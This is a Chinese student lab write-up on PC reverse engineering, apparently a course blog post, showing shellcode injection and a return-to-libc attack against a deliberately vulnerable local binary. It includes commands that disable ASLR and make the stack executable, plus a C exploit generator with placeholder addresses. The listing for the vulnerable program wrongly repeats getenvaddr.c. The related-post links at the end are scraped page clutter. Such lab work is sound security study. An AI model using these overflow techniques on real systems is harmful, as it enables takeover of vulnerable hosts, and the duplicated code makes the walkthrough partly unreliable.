20145218张晓涵 PC平台逆向破解_advanced
---恢复内容开始---
# 20145218张晓涵 PC平台逆向破解_advanced
## shellcode注入
### 基础知识
- shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码。
- Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行。
- Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。我们采用anything+retaddr+nops+shellcode的方法。需要是找到返回地址和shellcode的地址,然后通过修改返回地址,让程序自动执行shellcode
- Bof攻击防御技术
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址随机化状态,0关闭,2开启
实践过程
修改设置,需要先
sudo apt-get install exestack进行安装,安装完成后输入以下命令构造要注入的payload,\x01\x02\x03\x04填写返回的地址

用命令
(cat input_shellcode; cat) > ./20145218注入这段攻击并执行文件

打开一个新终端,查找20145218pwn1的UID,UID号为2330

gdb调试

对foo函数进行反汇编,以此找到函数的返回地址,我们要将返回地址覆盖,指向我们的shellcode代码

图中0x01020304的位置0xffffd32c是返回地址的位置,我们的shellcode的地址为0xffffd330

将返回地址修改为0xffffd330重新注入,成功

Return-to-libc 攻击实验
- 缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。
- 不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
实践过程
更新软件库,
sudo apt-get update,安装配置环境将地址随机化关闭

把sh指向zsh

编写5218retlib.c,保存到/tmp目录下,编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
- 编写并编译getenvaddr.c,用来读取环境变量的,代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
- 编写攻击程序,放到tmp目录下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
获取 BIN_SH 地址

编译攻击程序,使用gdb获取system 和 exit 的地址


vim进入exploit.c,将BIN_SH,system 和 exit
将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行


成功了!


20145218张晓涵 PC平台逆向破解_advanced的更多相关文章
- 20145240《网络对抗》PC平台逆向破解_advanced
PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...
- 20144306《网络对抗》MAL_PC平台逆向破解_Advanced
PC平台逆向破解_Advanced 一.注入shellcode并执行 1.什么是shellcode? shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
- 20145302张薇《网络对抗技术》PC平台逆向破解
20145302张薇<网络对抗技术>PC平台逆向破解 实验任务 1.简单shellcode注入实验 2.Return-to-libc 攻击实验 实验相关原理 Bof攻击防御技术 从防止注入 ...
- 20155312张竞予 Exp1 PC平台逆向破解(5)M
Exp1 PC平台逆向破解(5)M 目录 实验内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发get ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165312<网络攻防技术>Exp1 PC平台逆向破解 一.Exp1.1 直接修改程序机器指令,改变程序执行流程 知识要求:Call指令,EIP寄存器,指令跳转 ...
- 20155325 Exp1 PC平台逆向破解(5)M
Exp1 PC平台逆向破解(5)M 阶段性截图 基础知识 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 汇编指令 作用 机器码 NOP "空指令".执行到NOP ...
- 2017-2018-2 《网络对抗技术》 20155322 第二周 Exp1 PC平台逆向破解(5)M
#2017-2018-2 <网络对抗技术> 20155322 第二周 Exp1 PC平台逆向破解(5)M [博客目录] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 ...
随机推荐
- lnmp php7 安装mysqli扩展 undefined function mysqli_connect()
在用ci框架的时候, https://blog.csdn.net/zqtsx/article/details/8746497 https://blog.csdn.net/move_now/articl ...
- Python 列表笔记
列表解析 squares = []for i in range(1,11): square = i**2 squares.append(square)print squares ########## ...
- Resize事件和SizeChanged事件
窗体加载的时候, 就会触发Form_ResizeBeginForm_ResizeEnd 窗体的拖动会触发:Form_ResizeBeginForm_ResizeEnd 窗体的最小化按钮会触发:Form ...
- JavaEE笔记——BaseDao的使用
在Hibernate框架中使用BaseDao主要的作用是减少冗余代码,在对Dao的操作中CRUD可以说是最普通最常见的操作了,基本上面对不同的数据表都会有类似的CRUD操作,BaseDao的思想就是把 ...
- Informatica PowerCenter下载地址
https://edelivery.oracle.com/EPD/Download/get_form?egroup_aru_number=12854075
- 【281】◀▶ arcpy.mapping 常用类说明
arcpy.mapping 教程入门 arcpy.mapping 指导原则 按字母顺序排序的 arcpy.mpping 类列表 按字母顺序排序的 arcpy.mpping 函数列表 按字母顺序排序的 ...
- Ant 执行 exec cmd.exe 时路径包含空格的问题
需求描述 通过Ant脚本调用bat脚本 问题描述 bat脚本所在目录名称包含空格(space),cmd.exe调用时候报错The system cannot find the path specifi ...
- sql合并列
oralce写法: select WM_CONCAT(A.title) as citys from tmpcity A sql server写法: select stuff((select ','+A ...
- vbs获取html内容
Dim content,name,password,arr,pos msg1="请输入ip和端口号地址"&chr(13)&chr(10)&"如ht ...
- Redis搭建(三):哨兵模式
一.sentinel介绍 Redis 2.8中提供了“哨兵”工具来实现自动化的系统监控和故障恢复功能. Redis 2.6 版也提供了哨兵工具,但此时的哨兵是1.0版,存在非常多的问题,任何情况下都不 ...